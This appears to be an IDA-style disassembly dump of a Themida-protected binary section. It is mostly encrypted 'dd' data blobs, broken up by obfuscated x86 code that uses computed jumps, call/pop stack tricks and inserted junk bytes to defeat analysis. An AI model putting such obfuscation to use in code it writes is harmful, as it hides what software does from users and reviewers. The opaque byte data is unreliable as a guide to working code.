		dd 79423AABh, 5A211AB5h, 40FDFB96h, 25E4E17Ch, 894A1561h
		dd 5D7CAB0Eh, 0B6AB59C2h, 9631F5BEh, 6C0BDA99h,	0DD94B06Fh
		dd 0B0CA4D0Eh, 0B865B69h, 0B688F6B6h, 0A2E5A6B9h, 1E5B69B0h
		dd 0BA5928A3h, 26DDF9C2h, 0E1DEB9D1h, 0B7B45322h, 99E3A3F8h
		dd 4FCh, 1BA69227h, 0BF798B4Ch,	3CB76177h, 63711520h, 397D6F57h
		dd 7DA05DB2h, 0F9A29808h, 3FB8E637h, 0E7B60494h, 223h
		dd 0B07A9479h, 6ACE5B69h, 6FC78857h, 1D617EC1h,	3734D3A2h
		dd 1C19B478h, 0F642415Dh, 892DFCCBh, 6BBEABB2h,	8E4BA02Ch
		dd 989D66DEh, 0B6499F1Ah, 1222B4BCh, 9C72CB6h, 150C0000h
		dd 0EFEB864Ah, 0D4CF6A2Eh, 0B8B24D11h, 9C942FF3h, 60E40FD3h
		dd 80440D05h, 6125ECE5h, 470BC8C6h, 2CF0AFACh, 355415E0h
		dd 8D5D7CACh, 0B7867624h, 3C581F18h, 0B045C485h, 82FD5B69h
		dd 0B097F2B3h, 0B02B5B69h, 0E0C3C05Bh, 0C5B4F6E8h, 71BF3CC0h
		dd 0A823DAF6h, 0F5B4B18Ch, 1566E4D9h, 4312D1CEh, 90E5AAA4h
		dd 0DA94ED0h, 787DAFF6h, 0F000001h, 3EEE786h, 732A4607h
		dd 0B08A3F8h, 51D97D4Ch, 16795D0Bh, 664159AEh, 72955669h
		dd 0CE5B6925h, 5514D853h, 4E0FDEE3h, 61772BAEh,	0D6D3EF6Ah
		dd 0A29B37B7h, 0EE1C6D2Fh, 0B603C109h, 0BF804F1Eh, 0A29BCF58h
		dd 5DBC7DF8h, 0F5A29BCFh, 4F59257Ah, 0EB000000h, 4C1BA692h
		dd 77BFCD8Bh, 0B9880361h, 8C168015h, 1564D21h, 7CA9ECE9h
		dd 5651A298h, 9F9C7793h, 51CFC4E0h, 7032DD00h, 0AD9A81Fh
		dd 987CCE49h, 460782A2h, 0A2987CC3h, 7435047Fh,	0A2987C15h
		dd 5BDD32ADh, 0B604809Ch, 0BC8Ah, 0E7861C00h, 8E8928EDh
		dd 0A3F8AFCBh, 304C0B08h, 0C5945D55h, 156A2926h, 662522FDh
		dd 5F726F4Ah, 69B07B9Eh, 4401FF5Bh, 2FAA7128h, 8625F0B4h
		dd 0B875CA89h, 5B6A035Bh, 3A331613h, 7534F873h,	602FFEC3h
		dd 1D1D11BCh, 4196E061h, 85093884h, 4841E09Eh, 59AE6581h
		dd 7D4C1B96h, 774A6BD9h, 1ADBABA6h, 0A2879BFFh,	0B883D853h
		dd 94582119h, 0E23801F9h, 28861A41h, 36BB45A1h,	9D000008h
		dd 7C17DBA6h, 60FBBF80h, 43DEA265h, 25C08449h, 75A0642Dh
		dd 0D59E96CFh, 0B67D7611h, 9C5957F2h, 81403DD8h, 0E5A671BDh
		dd 5D7CADA2h, 0B607B51Eh, 6631F5BEh, 0B308CDC7h, 985C1B18h
		dd 0FAB9B62Ah, 470603DEh, 2BE3983h, 0C66A0000h,	0DEE97DDDh
		dd 2EF7EFB7h, 92F05EB3h, 0AD4C1BA6h, 11D2CEAFh,	0A7C33EF5h
		dd 0FD09BF0h, 617EC1CDh, 38BD5F03h, 0A0FD5C9h, 5753F2B5h
		dd 48C37A96h, 97C6D579h, 0B282D1D2h, 83B296F1h,	34AF2AA2h
		dd 4BCAC7DFh, 23A283B2h, 15E21061h, 11B60C4Ah, 228h, 0F6B786A3h
		dd 5B69B093h, 0D592902Fh, 0CE48055Ah, 825B69B0h, 6D3C0BB6h
		dd 0F0E9D6CEh, 0DB560D29h, 0F6B308BFh, 617EC1CEh, 11B07FFAh
		dd 0F6915514h, 1F1E3AF9h, 0C48B8419h, 49652C25h, 79481792h
		dd 5FAEE9AAh, 0A722A283h, 22A79552h, 0A621989Dh, 0B4E0AD50h
		dd 1FA90522h, 739h, 14D8A39Ah, 0F8BC7D79h, 0DB9F625Dh
		dd 0BD814640h, 9D612A22h, 9B93F272h, 7A730ED2h,	5654EFB3h
		dd 3D3AD599h, 0A36EBA7Eh, 7CAEA7E2h, 4B21B5Dh, 26EFE786h
		dd 7A3936D1h, 0FC1BDCABh, 545B69B0h, 916C84D9h,	0C4B9D594h
		dd 0B1AEF546h, 920DD6CEh, 4BAB4CCEh, 717BAFF6h,	0D000001h
		dd 0DDD6B9B6h, 1935F6F2h, 506CE762h, 0E5AEA645h, 39F8F590h
		dd 3F82B675h, 0BE0DAF70h, 27CB6177h, 9D76186Ah,	395FA9A9h
		dd 0A947F094h, 8E32017Ch, 69060FFAh, 31499E98h,	98A7D134h
		dd 0B4A199A2h, 617DF8B7h, 0AFCB8886h, 0F8449553h, 8138F62Ch
		dd 903BB67Fh, 0A84F7DCEh, 7EB60449h, 59h, 0F7A69210h, 141F3BFAh
		dd 69B03453h, 96118C5Bh, 0B3AD4C1Bh, 0F00CCFCAh, 0EBA2BE39h
		dd 4E0ACB96h, 7A9E8840h, 5FAFEAABh, 0A823A298h,	0F4F19053h
		dd 0E7621935h, 0B2F07418h, 93F85EFCh, 0C78403C4h, 0C13CA298h
		dd 3457546Ch, 0B0A298C7h, 886F9DEEh, 9EB604D5h,	0A3h, 0FAB9B630h
		dd 3834D3DEh, 4FA45B77h, 0D7F3BCB4h, 0DD3CFDCCh, 755B69B0h
		dd 9D605BFAh, 0F1B0AD48h, 3EFDFAD5h, 0BFD4D06Fh, 69B09BFEh
		dd 41BC375Bh, 59196E25h, 6A2A079Ch, 2BEAE75Bh, 3190A867h
		dd 0D05BA162h, 8A059E85h, 5B241CBBh, 3B04FC97h,	86D170E5h
		dd 0AA349028h, 5C9h, 8448130Ah,	682CEDE9h, 4B0FD2CDh, 2DF1B6B0h
		dd 0DD19A92h, 0B0362E2h, 0EAE37E42h, 0C6C45F23h, 0ADAA4509h
		dd 13DE2AEEh, 7C903752h, 74228B5Dh, 31F5BEB6h, 8B19996h
		dd 9E4B14C2h, 1FA7DC80h, 6F963AB3h, 86C230F4h, 0D29ECE7h
		dd 69660156h, 0B6B38EAAh, 41E933F7h, 77000000h,	0DEFAB9B6h
		dd 2B470603h, 75915650h, 0BDB6A19Ah, 0A823DAF6h, 0E334F68Ch
		dd 0B06CAB6Ch, 69E45B69h, 81D294EEh, 0AD706B0Ah, 1C0BD58h
		dd 67A26332h, 35B69B0h,	7B420Bh, 23A1EBABh, 2F000000h
		dd 0DEFAB9B6h, 69B0A3E1h, 11B0BB5Bh, 5B365217h,	0CB829E5Fh
		dd 0F3B6B150h, 4DCB20D7h, 0F9B8B5FCh, 0E786C735h, 460502EFh
		dd 0DEDB76CBh, 3404031Fh, 50EFBE8Dh, 0B1706D56h, 0E63DE95h
		dd 7EC17751h, 0A5A24161h, 5EB6D192h, 8F0AA283h,	81FCBF14h
		dd 571613B2h, 3CFBF893h, 89711520h, 730595C1h, 94A08811h
		dd 77F207BDh, 0ECD56322h, 47C75C1Dh, 84FF9894h,	5B7B11B5h
		dd 0E42DD387h, 0AA924EBh, 2FFA4F0Ch, 0C9C160h, 510E455Ch
		dd 4297BC62h, 1CEBAAA7h, 8B0D8C4Dh, 4AC5A8BCh, 9D9A35F5h
		dd 75700FDEh, 8ADF96B2h, 0FCC57372h, 0CE8F5E2Dh, 0A8BC8B4Bh
		dd 7A378C07h, 92A2E476h, 0EB90F8Ah, 5A3CAF3Ah, 46374FEh
		dd 79700000h, 534FEAAEh, 3833CE92h, 1C16B175h, 0F89357h
		dd 9C487337h, 0E4A87169h, 0C5895049h, 0AB6F2C2Ah, 90541310h
		dd 51B87944h, 0F15D7C91h, 0B9B6DA88h, 9E9B36FAh, 0E3FFBEBBh
		dd 0BA95B12Ch, 0EDE2FEBDh, 0DAD71E6Fh, 22D5571Bh, 4AFF64Ch
		dd 4Eh,	0F7A69296h, 0F0BF3AFBh,	4D6C3C4Ch, 0BC738F52h
		dd 25A3F018h, 0F04405D0h, 0B06177DDh, 0C9C76635h, 0AE7D480Ch
		dd 3753120Fh, 6658BF80h, 7DF8A298h, 21EE5DEh, 0DC39F64Bh
		dd 9CA29866h, 511CE09Fh, 0A2F7B4B2h, 304C0907h,	3C4A6h
		dd 0B9B63400h, 603DEFAh, 0B0D732F3h, 0F06B5B69h, 96998A4Ch
		dd 3AB54380h, 1C81B776h, 15E45F20h, 777C5054h, 0D9F57061h
		dd 1C352FCEh, 9B033C5Bh, 9E1994A2h, 0B976CB82h,	0A29B035Ah
		dd 88FF5012h, 79A36DE4h, 0AB0095CBh, 432CE29h, 0C98A59B6h
		dd 0A29BBD4Eh, 66328702h, 33h, 41FEFC9Bh, 0AB196E25h, 4C1BA692h
		dd 77BFCD8Bh, 6C880361h, 98402C6Fh, 13DCD4A2h, 611E1CF7h
		dd 0DA2BE945h, 0F94A0CB7h, 45C2CCBh, 0C9FAB6h, 0B68C0000h
		dd 0D3DEFAB9h, 58743B34h, 0B9B14CA1h, 6C0BD4CCh, 6635B06Fh
		dd 0B0B3D697h, 940F5B69h, 4F4C273Fh, 9C997490h,	7F4E19DDh
		dd 0B0A8EFB0h, 0AD285B69h, 69B0ADECh, 55AA255Bh, 69B55B98h
		dd 5716135Bh, 3CFBF893h, 0AA172120h, 7B443CDBh,	0BE9A5B26h
		dd 129E883Eh, 55078243h, 17BBA298h, 62F63BEAh, 0A11C972Ch
		dd 0A71A1EDDh, 0F2C317D8h, 0DA79988Bh, 5C81DDEh, 241CBB8Ah
		dd 4FC975Bh, 3364E53Bh,	207C2289h, 2AC96h, 65302700h, 490A06A1h
		dd 2CEFEA85h, 0ED3CD68h, 0EEB7AF4Ah, 2045FF2Ah,	9B5F28h
		dd 0E17C4007h, 0C76226E3h, 0FB470BCAh, 93286F30h, 3FA85D7Ch
		dd 0F5BEB691h, 0DA999631h, 0B16E6C0Bh, 922E9C5Ch, 8B4C1BA6h
		dd 6177BFCDh, 6F6C8803h, 0A298402Ch, 87B506C8h,	0B6045C70h
		dd 0CAB6h, 0B9B64800h, 0B03DEFAh, 27AA1B19h, 48C3B48Eh
		dd 8782212Ch, 8368AF70h, 6DE85B69h, 93E09DF2h, 5B5B6986h
		dd 0F8A4B5Eh, 0C35B699Eh, 6E09CD48h, 9796B271h,	41FEFCA1h
		dd 24F36E25h, 77EBE563h, 9C60DB61h, 97665BDDh, 884D23D6h
		dd 0F1FB9F98h, 0DFACFD70h, 0F89766E1h, 3EA60E00h, 42AC0DB2h
		dd 0F854F8C7h, 48110952h, 6EA162A4h, 0D90B08FFh, 3E930E4Eh
		dd 0F9EBE37Eh, 0E1F66AEAh, 459B166Fh, 2289DE8Eh, 0C6EC76D2h
		dd 0D000001h, 0EC874B16h, 0D06B2FF0h, 0B34E12D5h, 9530F4B9h
		dd 0E510D49Dh, 450E067Fh, 26EDE681h, 0CC9C762h,	0F1B0AD48h
		dd 5516E12Dh, 5D7C9432h, 0B677258Eh, 9631F5BEh,	0E472B199h
		dd 6AD4357Eh, 0B6BD2BEFh, 3DEFAB9h, 0B8834706h,	75C1D19h
		dd 94B06F6Ch, 4F1EA395h, 77E49E8Eh, 0C3DF5A61h,	1158A967h
		dd 76333114h, 6428A35Ah, 5F2E93A5h, 9900C190h, 39A2987Bh
		dd 28AC69BEh, 0A898861Eh, 3936112Dh, 6E6E5C56h,	75F27A9Eh
		dd 0D990AC27h, 5F7B403Ah, 8F5E2DA8h, 8A454BCEh,	0BD8C07A8h
		dd 8A459DFCh, 65BA35A8h, 0A4F5B74Dh, 0F3C2FF39h, 94209232h
		dd 44822692h, 0E754508Ah, 0F6713489h, 0DB9A9732h, 29E6E4BFh
		dd 0A2F3B10Dh, 0D09F5E5Bh, 3818572Ch, 0BC271077h, 9135B0B6h
		dd 95D126C5h, 81F1A111h, 9656AB26h, 916061D7h, 0A2E5DCD0h
		dd 5219C8Ch, 9F5E5BFAh,	0F3B2AF4Ah, 0C78A8524h,	879FF4ABh
		dd 8881202Bh, 9DEE6CC1h, 87920632h, 0E676939Dh,	926130ABh
		dd 1935F8F3h, 2CBC362h,	1DDA2FE6h, 86B1816Fh, 824942E1h
		dd 0CC918B66h, 297EF9B0h, 781CEB66h, 4327EC1Bh,	63237885h
		dd 5E2D94A4h, 0C6C4849Dh, 0ADC94480h, 5216D5D2h, 7B0E387h
		dd 0C9D594BCh, 1DDCD974h, 0F4C0401h, 0D2E1856Eh, 8C41802Eh
		dd 4595224h, 0F1EE3586h, 0F5946332h, 651C38F9h,	566165A4h
		dd 0D62DD83h, 0F6B5B24Dh, 3830CFDAh, 857F1A6Fh,	5952F1C0h
		dd 0C9253D92h, 5450EFBEh, 61B7D293h, 900B8356h,	256CBD3Bh
		dd 0AA56928h, 0A8324E0Dh, 19h, 85243336h, 9EA9C58Ch, 69B0BADDh
		dd 209B165Bh, 9BC38F7Ch, 0A2F78AC2h, 0F4BFB634h, 4100FDD8h
		dd 8F4C4A25h, 0D89F9873h, 20E9E1BCh, 68312904h,	0B277714Ch
		dd 0FDC0BB96h, 490A06E1h, 8957692Dh, 4C781E7h, 51000000h
		dd 4B9h, 59CF2900h, 5C243C87h, 81E38953h, 4C3h,	4EB8100h
		dd 87000000h, 895C241Ch, 7568243Ch, 89000049h, 0B951241Ch
		dd 328B6899h, 0E30BE56h, 46466654h, 7AA7F681h, 814E7D40h
		dd 0B40E20F6h, 5EF78923h, 8359CF29h, 248904ECh,	24048124h
		dd 4, 4EC815Bh,	89000000h, 0FE892434h, 5E087389h, 5B2434FFh
		dd 0FF04C483h, 835F2434h, 0D9E904C4h, 52FFF957h, 0D5784BC3h
		db 0DCh, 94h, 19h
; ---------------------------------------------------------------------------


loc_5BBCCB:				; CODE XREF: Themida_:loc_5BA768j
		mov	eax, 6152642h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 78DE3D15h, 7CC356Dh,	3B8E0F6Fh, 6F7DFADCh, 624F3B76h
		dd 1C0622F9h, 0BE8h, 480FDC00h,	98A22C77h, 284ED31h, 8159F48Ah
		dd 6B1CC1h, 0F2BF0F00h,	68h, 58F28B00h,	0BA67E681h, 34FF4D08h
		dd 7E96008h, 0E7000000h, 6E57458Dh, 0BE9A12Dh, 85000000h
		dd 9D4C14EBh, 0AD7B38B2h, 5B6177DEh, 0C381D38Ah, 1CD3C2Bh
		dd 8E54EB81h, 890F2EF5h, 6, 14BE6653h, 0F3815F3Dh, 634BD267h
		dd 0C78153FCh, 348C522Ch, 6001048Fh, 8160D38Bh,	6E3ED1C0h
		dd 0E9616137h, 0Eh, 9BD78A12h, 4C7475FFh, 0FCB1867Dh, 0E8835EE4h
		dd 0F606004h, 8Ch, 0D68BB900h, 506128A5h, 5FCA8B66h, 0C8F88161h
		dd 0FFFFF95h, 1B85h, 58C0F00h, 66000000h, 25CACA81h, 24E9h
		dd 0A167800h, 95B005A4h, 0F37003Bh, 58A0Fh, 0A4BA0000h
		dd 0E9397614h, 0FFFFFF46h, 0A10D2248h, 33605A03h, 878D8D39h
		dd 8B061528h, 0E187185h, 0C58D8906h, 0E9060E2Fh, 13h, 41BCD5D8h
		dd 0E76F3EC7h, 0B8372300h, 0DF613878h, 0C7BD25B7h, 0E088185h
		dd 5BB006h, 0AE900h, 63300000h,	671F57BCh, 5B174003h, 28D985C7h
		dd 60Eh, 8B660000h, 12E9D6h, 0B3C00000h, 89AE426Fh, 92327535h
		dd 46F76BB4h, 4C80C1CCh, 801B5FFh, 858B060Eh, 60E2FD9h
		dd 9B995FFh, 6A060Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0EAEDE7C3h, 3BB5D503h, 0B589CA60h
		dd 60E19F1h, 95FF006Ah,	60E0F45h, 0EEBC08Bh, 6A92C0F6h
		dd 9199ACE3h, 0F3425219h, 85C654CEh, 60E2F11h, 30DF6856h
		dd 0B5FFA9C5h, 60E0C3Dh, 6F74858Dh, 0D0FF0611h,	8198D8Dh
		dd 6A51060Eh, 0A9B5FF40h, 0FF060E23h, 0E0711B5h, 0FFD0FF06h
		dd 0E23A9B5h, 11B5FF06h, 0E8060E07h, 9,	6B6C06BCh, 0E519CA6Fh
		dd 835A5A79h, 2CC104EAh, 24C10224h, 14030224h, 241CF724h
		dd 0B9h, 0A348B00h, 4A71EE81h, 0F6814FDCh, 4545678Bh, 946EC681h
		dd 8F564FE5h, 0E9810A04h, 18D8FB8Ch, 0FB88C181h, 0C3B18D8h
		dd 0D2850F24h, 8DFFFFFFh, 0E0AC99Dh, 0B038B06h,	7840FC0h
		dd 8B000000h, 45B8B03h,	0C98B1889h, 0FE8h, 1EA6AC00h, 0D917DE4Dh
		dd 6D2316B3h, 4D00715Dh, 0E85159FCh, 12h, 0B116C14Ah, 13A84EECh
		dd 13A289B5h, 8D5D1177h, 61600AB3h, 0C1815F5Fh,	6833h
		dd 2BFEB70Fh, 0D6B866D2h, 0A34FFF7h, 5BE38A56h,	0DF8B665Eh
		dd 8E06C681h, 0BB6021C5h, 5E487636h, 6890Fh, 0E7810000h
		dd 364C7949h, 7BC68161h, 801F4FF0h, 0F681D9E8h,	3151A963h
		dd 56FFB70Fh, 0BB17D381h, 48F246Eh, 0C2B70F11h,	8104EA83h
		dd 0FF9890FAh, 1F850FFFh, 53000000h, 0E126B866h, 2EE95Fh
		dd 0F9240000h, 0F2ADC706h, 324078B0h, 0AC087F8Fh, 0CEDE920Ch
		dd 0BB66FA59h, 86E908ECh, 25FFFFFFh, 0A9422094h, 0C7EAC9E5h
		dd 0EEF5841h, 27205FD2h, 0BE8h,	2166FE00h, 0F1CF5554h
		dd 14AEA7ACh, 5FC0B70Fh, 0F887BE66h, 6500C781h,	0BF0F0000h
		dd 0E9D22BF2h, 0Ch, 5A35CC5Ah, 0EA0EB722h, 0E913FCA6h
		dd 81171C8Bh, 594C52E0h, 6AF38174h, 0F4B93FAh, 0A89h, 850F6000h
		dd 0
; ---------------------------------------------------------------------------
		push	edi
		pop	edx
		popa
		sub	ebx, 68825364h
		xor	ecx, 22D2C3B3h
		sub	ebx, 326E702h
		movsx	eax, bx
		push	ebx
		jmp	loc_5BC08B
; ---------------------------------------------------------------------------
		xor	edx, [ebp-2Ch]
		retf
; ---------------------------------------------------------------------------
		dw 5428h
; ---------------------------------------------------------------------------
		retn	2FA3h
; ---------------------------------------------------------------------------
		db 0DDh
		dd 693759Ch
		db 49h,	0E4h, 0D5h
; ---------------------------------------------------------------------------


loc_5BC08B:				; CODE XREF: Themida_:005BC075j
		pop	dword ptr [edi+edx]
		and	esi, 337144E4h
		xor	cl, 0E3h
		sub	edx, 0D517777h
		mov	cl, 69h
		add	edx, 0D517773h
		mov	ax, 1AC7h
		cmp	edx, 0FFFF9BC8h
		jnz	loc_5BC0C6
		mov	cx, di
		jmp	loc_5BC0DD
; ---------------------------------------------------------------------------
		db 23h,	0ABh, 7Dh
; ---------------------------------------------------------------------------
		sbb	ebx, [edi+651462E8h]


loc_5BC0C6:				; CODE XREF: Themida_:005BC0AFj
		jz	$+6
		jmp	near ptr dword_5BBCD4+36Ch
; ---------------------------------------------------------------------------
		db 9Eh,	0F2h, 43h
		dd 7E27A3FAh, 2E300A7h
		db 33h
; ---------------------------------------------------------------------------


loc_5BC0DD:				; CODE XREF: Themida_:005BC0B8j
		lea	ecx, [ebp+6152B99h]
		pusha
		clc
		jmp	loc_5BC0F8
; ---------------------------------------------------------------------------
		dw 0DB64h
; ---------------------------------------------------------------------------
		ror	byte ptr [edx-10h], cl
		retf
; ---------------------------------------------------------------------------
		dd 11DE3FE4h, 0F357F0E6h
; ---------------------------------------------------------------------------


loc_5BC0F8:				; CODE XREF: Themida_:005BC0E5j
		popa
		mov	[ebp+60E2FC5h],	ecx
		push	0
		push	edx
		call	sub_5BC10A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC10A	proc near		; CODE XREF: Themida_:005BC102p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx


loc_5BC10F:				; CODE XREF: Themida_:005BC122j
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BC10A	endp

; ---------------------------------------------------------------------------
		aad	0EFh
		lds	esp, [ebx-5C99DF28h]
		jnb	short loc_5BC10F
		add	dh, 7Ch
		mov	dword ptr [ebp+60E0881h], 6FD8h
		push	0
		push	edi
		call	sub_5BC13C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC13C	proc near		; CODE XREF: Themida_:005BC134p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5BC13C	endp

; ---------------------------------------------------------------------------
		dd 0FC8DB3DBh, 28D985C7h, 60Eh,	0B58B0000h, 60E3479h, 7C1B5FFh
		dd 8533060Eh, 60E22ADh,	9B995FFh, 6A060Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 6ABFC3h, 0F4595FFh
		dd 0C08B060Eh, 4E3C5CEBh, 12BC30F8h, 0AF78557Fh, 39761CC9h
		dd 4111934Eh, 0A73D8EC2h, 0F503CA99h, 3514B261h, 97385E12h
		dd 8CD45890h, 77B5AC4h,	7B378C75h, 41C0DB02h, 65698DE3h
		dd 52FFC2D8h, 54C84DB8h, 88A170A2h, 0A5BC99E1h,	0D0F02986h
		dd 53AEAC62h, 364B4158h, 676DDD46h, 754C6C61h, 0AE994C3h
		dd 52000000h, 399152h, 0
		dd 4CDE900h, 40680000h,	0E906152Dh, 0FFF95288h,	152DC968h
		dd 527EE906h, 2868FFF9h, 0E906152Fh, 0FFF95274h, 5C20EBE2h
		dd 4004C5C1h, 23E7AAA5h, 5C98E88h, 0E5A9726Ah, 0E3DB0ABAh
		dd 0C2BB561Ah, 9E9C37FBh, 85821DE1h, 0EBB602C6h, 7C9CEF2Ah
		dd 4CFA635Dh, 0D9F5BEB6h, 74312FCEh, 0B14CA158h, 5726F5B4h
		dd 69B07396h, 0FF54CF5Bh, 0E4A5743Fh, 5B69B0A5h, 8E4DA21Dh
		dd 0A44817AAh, 0F15D6851h, 6D12679h, 77468B45h,	0A5663561h
		dd 0A29B5A62h, 0CB4E0FDEh, 87A29B5Ah, 4716910Ch, 97ECABA8h
		dd 5A03827Fh, 19DBA29Bh, 625D9AC8h, 0E9C9B603h,	0FE000002h
		dd 6E2B6E2Fh, 2CA7A29Bh, 77DC69D7h, 0E8B1A948h,	30F9F1CCh
		dd 8DE25D14h, 88576ACEh, 0DA41CEE4h, 4BA01A94h,	3CDC8071h
		dd 3D5C1D65h, 955B6954h, 7F4A9F1Ah, 8FF40CB0h, 0AAA67500h
		dd 0FA049855h, 49C46177h, 0E0C9B3B0h, 0BD7BA13Eh, 4743504h
		dd 0BC9DFB45h, 12262541h, 6C43B75Bh, 715F3C4Fh,	176E69B0h
		dd 0F36EE9ADh, 35CD6324h, 78F39709h, 4E0D0AA9h,	33F2EF8Ah
		dd 18E973DDh, 87116D21h, 2F0h, 7034FFF6h, 5418D9D5h, 37FBBEB9h
		dd 19DDA29Ch, 0F9BD867Eh, 0F7EF16CEh, 0D6CF6A2Eh, 0B2B04B0Fh
		dd 999631F5h, 0FFCA16DAh, 7C9DDB3Eh, 600E775Dh,	4C1BA692h
		dd 20EFB2ADh, 69B0385Fh, 0C81D985Bh, 0DCDE3CFDh, 0FB76617Eh
		dd 0C4BE5D2Ch, 0F08E3FFh, 0DD78CD48h, 8D581CE5h, 1531F2EEh
		dd 766E095Eh, 95958984h, 0AF2A4EF5h, 804941E0h,	0CB8E8964h
		dd 287DF8AFh, 7EF31310h, 7C79A283h, 859767BDh, 91ED2882h
		dd 26707h, 0BD887F00h, 0A1625EF9h, 844742DDh, 662B25C0h
		dd 460F07A2h, 78ED5782h, 58F3B780h, 39D4985Fh, 1FBA7E3Bh
		dd 539F6322h, 9D40C788h, 97005D7Ch, 1BA692E9h, 0DC0F8B4Ch
		dd 1EBD617Eh, 4B0E6320h, 645CBB7Ch, 2BECA283h, 0A28364ECh
		dd 0A722E964h, 0F013102Ch, 6CA28364h, 0CC2B59AAh, 5AB60B73h
		dd 178h, 0D1B9B6ECh, 62016EF5h,	4D1C977Dh, 0D99AB5AEh
		dd 5B694CBEh, 1C9712h, 49652C25h, 0AAC21792h, 4F13D2CFh
		dd 4A19A890h, 97ECB1ABh, 42E90BCCh, 0AC276177h,	5E709390h
		dd 2AECA29Bh, 0D29362D9h, 0A29B5EB7h, 58743933h, 0BB5FDAA1h
		dd 0BD6FA163h, 1B9DF228h, 0B6039FDCh, 204Ah, 0A692DC00h
		dd 0CD8B4C1Bh, 36177BFh, 2C6F6C88h, 0C8A29840h,	7087B506h
		dd 0B6B6045Ch, 0C3h, 0FAB9B648h, 0BFBD5C2Bh, 0B0C64102h
		dd 0A6A25B69h, 1E7A1EE5h, 2CBB2A68h, 82075F0h, 9D6C352Dh
		dd 0EA3F04FEh, 2C28C7D2h, 7E7B166Bh, 0B24CF0BFh, 6C53BEA9h
		dd 1DCFE488h, 71253CDBh, 2C29041Ch, 8BECA96Dh, 735B6911h
		dd 34F3B776h, 4FEEBD04h, 0BE759154h, 30CF9E69h,	0D7D47334h
		dd 0F045FC18h, 7AC9E933h, 4D1C9761h, 29EDB6AEh,	0FFC6BF5Eh
		dd 4E170FAAh, 87B12CF8h, 8E187428h, 108h, 581CE7DEh, 3C00C1BDh
		dd 1FE3A6A1h, 1C58A84h,	0E1A56E66h, 0DFD70EB6h,	0BEB75216h
		dd 9A9833F7h, 817E19DDh, 0E7B2FEC2h, 7C9FE326h,	48F65F5Dh
		dd 93F6B786h, 2F5B69B0h, 0CCC45FB4h, 0A7A43F03h, 0B6B624E8h
		dd 3DEFAB9h, 0C4834706h, 0BD7E4D74h, 6177FE6Fh,	10DFAE29h
		dd 5D897771h, 4422691Eh, 9C0DC57h, 582119B4h, 73B4D794h
		dd 3F3CA298h, 2921BC80h, 8DBA4460h, 48000000h, 4C1BA692h
		dd 7EDC0B8Bh, 7F4EC961h, 453F8DBh, 1342D336h, 55031FC7h
		dd 5068BD38h, 0EAB97875h, 2F492346h, 1E73B13Eh,	7C6C35Eh
		dd 29B39438h, 67D932BFh, 0E4FDFA12h, 9163044Bh,	3A377ECFh
		dd 1F1CB77Bh, 73746737h, 3A34A023h, 637FFA75h, 0ACA58E88h
		dd 9712C9E5h, 605AF9C8h, 7C87F9Bh, 0E10CAF80h, 3321C540h
		dd 0BC443FB1h, 0B00C2479h, 0F215D6A5h, 4EE10C8Bh, 0AF007ED3h
		dd 0E8AC6B68h, 7591504Dh, 3EBh,	81337900h, 0D8F4BFB6h
		dd 254100FDh, 738F4C4Ah, 0BCD89F98h, 420E9E1h, 4C683129h
		dd 96B27771h, 0E1FDC0BBh, 2D490A06h, 4EC8169h, 89000000h
		dd 0E389241Ch, 4C381h, 0EB830000h, 241C8704h, 0E089505Ch
		dd 405h, 42D00h, 4870000h, 0C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		push	79EB070Bh
		pop	eax
		shl	eax, 5
		sub	eax, 1
		and	eax, 43156E77h
		sub	eax, 0FAEB342Bh
		mov	ecx, eax
		pop	eax
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, ecx
		push	edx
		pop	dword ptr [edi+8]
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		dw 8F70h
		dd 0B8A876CDh, 6153055h, 0E0FFC503h, 0B4D39D1h,	2F213A36h
		dd 155A273Ch, 4E39A4C9h, 4CF627D3h, 2385E032h, 1FC11F90h
		dd 18AD44ADh, 60BC7555h, 295F766Eh, 1D148043h, 34D43416h
		dd 74F308B3h, 74151765h, 0E67024Ah, 3C49E49h, 52B9A4D0h
		dd 56E24CE5h, 2B0FB27Ah, 73CF6106h, 9668902h, 59F1C738h
		dd 40834AABh, 1EC82A70h, 7E8h, 0FB5BAA00h, 66333754h, 57A9D8BEh
		dd 0C7815F73h, 7215h, 0CE960h, 0CC700000h, 3767534Bh, 9718CA6Ch
		dd 0AE80C70h, 92000000h, 0BD299D2Dh, 0EF7D573Ah, 8E9DDh
		dd 2BE0000h, 0EBE82EC0h, 61586329h, 1C5668h, 58E0F00h
		dd 66000000h, 0E510DE81h, 0AAF3B85Ah, 0F8B1E88h, 14E9h
		dd 2715B700h, 8A35FC70h, 0AA088D50h, 0C1D43BB9h, 0C93FB78h
		dd 0BEF181ABh, 0E81D3BACh, 6, 0E6E27DD0h, 8166CE43h, 5BB5EDE8h
		dd 0E152E981h, 870F55A9h, 4, 182BB866h,	4EA1E981h, 0F5517AC5h
		dd 0B853078Fh, 6B837114h, 36EF815Eh, 8166CDF1h,	0CDF132C7h
		dd 850F4A66h, 0FFFFFF9Ah, 0CE8B5B7h, 1000000h, 0ADC83C27h
		dd 0F3DFFD7Dh, 5181A735h, 0FE9h, 4EBF7600h, 1BA74F79h
		dd 2550D279h, 0D6C8BFA0h, 81665F5Eh, 815A7DDEh,	7244C7h
		dd 0BB27B400h, 11579EC9h, 8269EB81h, 0BF0F1157h, 0E8178BC1h
		dd 8, 0E2099767h, 28A5663Ah, 92EE01B8h,	0EA815E73h, 1DB0030h
		dd 4AB4F081h, 0C2812547h, 46DFE22Bh, 14E9h, 739E5600h
